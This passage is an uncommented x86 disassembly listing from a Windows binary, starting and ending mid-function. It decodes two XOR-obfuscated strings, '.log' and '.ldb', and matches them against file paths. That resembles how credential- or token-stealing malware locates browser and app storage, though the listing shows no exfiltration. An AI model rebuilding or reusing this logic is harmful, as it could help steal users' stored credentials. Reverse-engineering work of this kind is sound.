mov word [ebp - 0x3f], 0x5c
lea edx, [ecx + 1]
mov byte [ebp - 0x3d], 0
lea ecx, [ecx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x433020
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x13c]
sub eax, edx
cmp eax, ecx
jb 0x4339cd
cmp dword [ebp - 0x138], 0x10
lea eax, [ebp - 0x14c]
jb 0x433053
mov eax, dword [ebp - 0x14c]
push ecx
lea ecx, [ebp - 0x3f]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x18]
lea ecx, [ebp - 0xf8]
call fcn.004720e0
or ebx, 0x400
mov dword [ebp - 0x14], ebx
push esi
lea eax, [ebp - 0xf8]
mov dword [ebp - 4], 0x1b
push eax
push dword [ebp - 0x18]
lea ecx, [ebp - 0x134]
call fcn.00471ed0
or ebx, 0x4000
mov dword [ebp - 0x14], ebx
lea eax, [ebp - 0xb3]
mov byte [ebp - 4], 0x1c
push eax
lea ecx, [ebp - 0x134]
call fcn.0046a480
mov edx, eax
or ebx, 0x2000
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x14], ebx
mov ecx, dword [edx]
mov eax, dword [edx + 0x14]
mov dword [ebp - 0x164], ecx
mov ecx, dword [edx + 4]
mov dword [ebp - 0x160], ecx
mov ecx, dword [edx + 8]
mov dword [ebp - 0x15c], ecx
mov ecx, dword [edx + 0xc]
mov dword [ebp - 0x158], ecx
mov ecx, dword [edx + 0x10]
mov dword [ebp - 0x154], ecx
mov dword [ebp - 0x150], eax
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov byte [ebp - 4], 0x1e
mov ecx, dword [ebp - 0x120]
cmp ecx, 0x10
jb 0x433140
mov edx, dword [ebp - 0x134]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x433136
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4339d2
push ecx
push edx
call fcn.004df511
add esp, 8
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x120], 0xf
mov byte [ebp - 0x134], 0
mov byte [ebp - 4], 0x1f
mov ecx, dword [ebp - 0xe4]
cmp ecx, 0x10
jb 0x433199
mov edx, dword [ebp - 0xf8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43318f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4339d2
push ecx
push edx
call fcn.004df511
add esp, 8
mov byte [ebp - 4], 0x20
test bl, 0x10
je 0x4331df
mov ecx, dword [ebp - 0x50]
and ebx, 0xffffffef
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x14], ebx
cmp ecx, 0x10
jb 0x4331df
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4331d5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4339d2
push ecx
push edx
call fcn.004df511
add esp, 8
mov byte [ebp - 4], 0x21
test bl, 8
je 0x43322b
mov ecx, dword [ebp - 0x19c]
and ebx, 0xfffffff7
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x14], ebx
cmp ecx, 0x10
jb 0x43322b
mov edx, dword [ebp - 0x1b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x433221
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4339d2
push ecx
push edx
call fcn.004df511
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0x164]
mov ecx, esp
push eax
call fcn.0046a770
push 1
xor dl, dl
lea ecx, [ebp - 0x118]
call fcn.00420cf0
add esp, 0x1c
mov byte [ebp - 4], 0x22
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x114]
sub ecx, dword [ebp - 0x118]
imul ecx
mov dword [ebp - 0x10c], 0
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x4337c2
xor edi, edi
mov dword [ebp - 0x48], edi
jmp 0x433290
mov dword [ebp - 0x76], 0x909999da
xor ecx, ecx
mov word [ebp - 0x72], 0x100
nop
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x76], al
inc ecx
cmp ecx, 4
jb 0x4332a0
xor eax, eax
mov byte [ebp - 0x71], 0
lea ecx, [ebp - 0x76]
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], eax
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4332d0
sub ecx, edx
lea eax, [ebp - 0x76]
push ecx
push eax
lea ecx, [ebp - 0x64]
call fcn.00402ae0
mov byte [ebp - 4], 0x23
or ebx, 0x20
mov edx, dword [ebp - 0x118]
add edx, edi
mov dword [ebp - 0x14], ebx
cmp dword [edx + 0x14], 0x10
jb 0x433300
mov edx, dword [edx]
xor eax, eax
mov ecx, edx
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x128], eax
lea esi, [ecx + 1]
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x120], eax
jmp 0x433330
mov al, byte [ecx]
inc ecx
test al, al
jne 0x433330
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x134]
call fcn.00402ae0
mov dword [ebp - 4], 0x24
or ebx, 0x40
mov edx, dword [ebp - 0x124]
mov esi, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x134]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x180], ebx
cmp edx, esi
jb 0x4333d3
mov eax, edx
sub eax, esi
cmp edx, eax
jb 0x4339e1
cmp dword [ebp - 0x50], 0x10
lea edi, [ebp - 0x64]
jb 0x43338c
mov edi, ecx
sub edx, eax
cmp edx, esi
jb 0x433394
mov edx, esi
cmp dword [ebp - 0x120], 0x10
lea ecx, [ebp - 0x134]
jb 0x4333a5
mov ecx, ebx
push esi
add ecx, eax
push edi
call fcn.0046fd20
add esp, 8
test eax, eax
jne 0x4333d0
mov esi, dword [ebp - 0xf8]
mov ebx, dword [ebp - 0xa0]
mov edi, dword [ebp - 0xb4]
mov byte [ebp - 0x3b], 1
jmp 0x43353c
mov edi, dword [ebp - 0x48]
mov dword [ebp - 0x1e], 0x959299da
xor ecx, ecx
mov word [ebp - 0x1a], 0x100
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x1e], al
inc ecx
cmp ecx, 4
jb 0x4333e2
xor eax, eax
mov byte [ebp - 0x19], 0
lea ecx, [ebp - 0x1e]
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0xf4], eax
lea edx, [ecx + 1]
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0xec], eax
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xe4], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x433420
sub ecx, edx
lea eax, [ebp - 0x1e]
push ecx
push eax
lea ecx, [ebp - 0xf8]
call fcn.00402ae0
mov dword [ebp - 4], 0x25
mov edx, dword [ebp - 0x118]
mov ebx, dword [ebp - 0x28]
add edx, edi
or ebx, 0x80
mov dword [ebp - 0x14], ebx
cmp dword [edx + 0x14], 0x10
jb 0x43345c
mov edx, dword [edx]
xor eax, eax
mov ecx, edx
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], eax
mov dword [ebp - 0xa8], eax
lea esi, [ecx + 1]
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0xa0], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x433487
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0xb4]
call fcn.00402ae0
mov dword [ebp - 4], 0x26
or ebx, 0x100
mov edx, dword [ebp - 0xa4]
mov esi, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xf8]
mov edi, dword [ebp - 0xb4]
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0xa0]
mov dword [ebp - 0xb8], ecx
cmp edx, esi
jb 0x433532
mov eax, edx
sub eax, esi
cmp edx, eax
jb 0x4339e1
cmp dword [ebp - 0xe4], 0x10
lea ebx, [ebp - 0xf8]
mov dword [ebp - 0x4c], ebx
mov ebx, dword [ebp - 0xa0]
jb 0x4334ff
mov dword [ebp - 0x4c], ecx
sub edx, eax
cmp edx, esi
jb 0x433507
mov edx, esi
lea ecx, [ebp - 0xb4]
cmp ebx, 0x10
jb 0x433514
mov ecx, edi
push esi
push dword [ebp - 0x4c]
add ecx, eax
call fcn.0046fd20
add esp, 8
test eax, eax
jne 0x433532
mov esi, dword [ebp - 0xb8]
mov byte [ebp - 0x3b], 1
jmp 0x43353c
mov esi, dword [ebp - 0xb8]
mov byte [ebp - 0x3b], 0
mov dword [ebp - 4], 0x25
mov eax, dword [ebp - 0x28]
test eax, 0x100
je 0x433588
and eax, 0xfffffeff
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x14], eax
cmp ebx, 0x10
jb 0x433588
lea ecx, [ebx + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x43357e
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4339d2
push ecx
push edi
call fcn.004df511
add esp, 8
mov dword [ebp - 4], 0x24
mov ebx, dword [ebp - 0x28]
test bl, bl
jns 0x4335d8
mov eax, dword [ebp - 0xe4]
and ebx, 0xffffff7f
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x14], ebx
cmp eax, 0x10
jb 0x4335d8
lea ecx, [eax + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x4335ce
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4339d2
push ecx
push esi
call fcn.004df511
add esp, 8
mov dword [ebp - 4], 0x23
test bl, 0x40
je 0x433629
mov eax, dword [ebp - 0x120]
and ebx, 0xffffffbf
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x14], ebx
cmp eax, 0x10
jb 0x433629
mov edx, dword [ebp - 0x180]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x43361f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4339d2
push ecx
push edx
call fcn.004df511
add esp, 8
mov dword [ebp - 4], 0x22
test bl, 0x20
je 0x433674
mov eax, dword [ebp - 0x50]
and ebx, 0xffffffdf
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x14], ebx
cmp eax, 0x10
jb 0x433674
mov edx, dword [ebp - 0x18]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x43366a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4339d2
push ecx
push edx
call fcn.004df511
add esp, 8
cmp byte [ebp - 0x3b], 0
je 0x433787
sub esp, 0x18
lea eax, [ebp - 0x17c]
mov ecx, esp
mov dword [ebp - 0x18], esp
push eax
call fcn.0046a770
sub esp, 0x18
mov byte [ebp - 4], 0x27
mov eax, dword [ebp - 0x118]
mov ecx, esp
add eax, dword [ebp - 0x48]
push eax
call fcn.0046a770
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 0x22
call fcn.00431770
add esp, 0x30
mov byte [ebp - 4], 0x28
mov eax, 0x38e38e39
mov ecx, dword [ebp - 0x84]
mov esi, dword [ebp - 0x88]
sub ecx, esi
imul ecx
mov dword [ebp - 0x4c], 0
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x433778
xor ebx, ebx
mov edi, edi
mov eax, dword [ebp - 0x11c]
lea edi, [esi + ebx]
push edi
mov esi, dword [eax + 4]
cmp esi, dword [eax + 8]
je 0x43373c
mov ecx, esi
mov dword [ebp - 0x18], esi
call fcn.0046a770
lea eax, [edi + 0x18]
mov byte [ebp - 4], 0x29
lea ecx, [esi + 0x18]
push eax
call fcn.0046a770
lea eax, [edi + 0x30]
mov byte [ebp - 4], 0x2a
lea ecx, [esi + 0x30]
push eax
call fcn.0046a770
mov byte [ebp - 4], 0x28
mov eax, dword [ebp - 0x11c]
add dword [eax + 4], 0x48
jmp 0x433744
push esi
mov ecx, eax
call fcn.00476140
mov ecx, dword [ebp - 0x84]
mov eax, 0x38e38e39
mov esi, dword [ebp - 0x88]
add ebx, 0x48
mov edi, dword [ebp - 0x4c]
sub ecx, esi
imul ecx
inc edi
sar edx, 4
mov eax, edx
mov dword [ebp - 0x4c], edi
shr eax, 0x1f
add eax, edx
cmp edi, eax
jb 0x4336f0
mov ebx, dword [ebp - 0x28]
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 0x22
call fcn.00467120
mov ecx, dword [ebp - 0x114]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0x118]
mov esi, dword [ebp - 0x10c]
mov edi, dword [ebp - 0x48]
inc esi
imul ecx
add edi, 0x18
mov dword [ebp - 0x10c], esi
sar edx, 2
mov eax, edx
mov dword [ebp - 0x48], edi
shr eax, 0x1f
add eax, edx
cmp esi, eax
jb 0x433290
lea ecx, [ebp - 0x118]
call fcn.0046c860
mov byte [ebp - 4], 0x16
mov ecx, dword [ebp - 0x150]
cmp ecx, 0x10
jb 0x43380b
mov edx, dword [ebp - 0x164]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x433801
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4339d2
push ecx
push edx
call fcn.004df511
add esp, 8
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0x184]
cmp ecx, 0x10
jb 0x433849
mov edx, dword [ebp - 0x198]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43383f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4339d2
push ecx
push edx
call fcn.004df511
add esp, 8
mov byte [ebp - 4], 0xc
mov ecx, dword [ebp - 0x1e0]
cmp ecx, 0x10
jb 0x433887
mov edx, dword [ebp - 0x1f4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43387d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4339d2
push ecx
push edx
call fcn.004df511
add esp, 8
mov ecx, dword [ebp - 0x8c]
inc ecx
mov dword [ebp - 0x8c], ecx
cmp ecx, dword [ebp - 0x90]
jae 0x4338a7
mov edi, dword [ebp - 0x9c]
jmp 0x432990
mov esi, dword [ebp - 0x168]
cmp esi, 0x10
jb 0x4338e3
mov edx, dword [ebp - 0x17c]
lea ecx, [esi + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x4338d9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4339d2
push ecx
push edx
call fcn.004df511
add esp, 8
mov ecx, dword [ebp - 0x1b4]
cmp ecx, 0x10
jb 0x43391d
mov edx, dword [ebp - 0x1c8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x433913
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4339d2
push ecx
push edx
call fcn.004df511
add esp, 8
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x1b8], 0
mov dword [ebp - 0x1b4], 0xf
mov byte [ebp - 0x1c8], 0
call fcn.0046c860
mov ecx, dword [ebp - 0x138]
cmp ecx, 0x10
jb 0x433979
mov edx, dword [ebp - 0x14c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43396f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4339d2
push ecx
push edx
call fcn.004df511
add esp, 8
mov ecx, dword [ebp + 0x20]
cmp ecx, 0x10
jb 0x432099
mov edx, dword [ebp + 0xc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43208f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4339d2
jmp 0x43208f
push ecx
push edx
call fcn.004df511
add esp, 8
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.00402270
call fcn.004e47b0
call fcn.00402270
call fcn.004e47b0
call fcn.0046dc60
int3